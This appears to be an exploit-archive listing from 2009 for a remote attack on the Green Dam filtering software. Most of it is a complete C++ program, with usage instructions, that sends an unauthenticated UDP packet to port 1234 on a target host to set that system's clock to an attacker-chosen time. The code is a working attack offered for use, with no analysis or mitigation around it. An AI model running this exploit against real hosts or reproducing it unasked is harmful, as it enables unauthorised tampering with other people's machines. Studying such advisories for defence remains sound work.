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Green Dam Change System Time

Green Dam Change System Time
Posted Jul 1, 2009
Authored by Anti GD

Green Dam remote change system time exploit that leverages the fact that UDP port 1234 listens and accepts time updates unauthenticated.

tags | exploit, remote, udp
SHA-256 | 62f3fc3dab18bda85cc06eba55d6d367c00ddddc4d145720651d8487b1dd2077

Green Dam Change System Time

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// Green Dam listen on udp port 1234 and wait for the 4 bytes time value
// We can send some bytes to change the time of the dest system
// testgreendam[at]gmail.com


#include <iostream>
#include <boost/asio.hpp>
#include <boost/date_time.hpp>

int main(int argc, char* argv[])
{
try
{
if (argc != 3)
{
std::cerr << "Usage: testgd <host> <time_string>" << std::endl;
std::cerr << "Example: testgd 192.168.0.12 \"2009-06-03 16:00:00.000\"" << std::endl;
std::cerr << "Timezone is not calculated, please do it by yourself." << std::endl;
std::cerr << "testgreendam[at]gmail.com" << std::endl;
return -1;
}

using boost::asio::ip::udp;
boost::asio::io_service io_service;
udp::socket s(io_service, udp::endpoint(udp::v4(), 0));
udp::endpoint dest(
boost::asio::ip::address::from_string(argv[1]), 1234);

boost::posix_time::ptime start(boost::gregorian::date(1900,1,1));
// (2008-1-1) -- (2010-12-31)
boost::posix_time::ptime end(boost::posix_time::time_from_string(argv[2]));
boost::posix_time::time_duration sec_count = end - start;

unsigned int i = htonl(sec_count.total_seconds());
s.send_to(boost::asio::buffer((char*)&i, 4), dest);
}
catch (std::exception& e)
{
std::cerr << "Exception: " << e.what() << std::endl;
return -1;
}

return 0;
}

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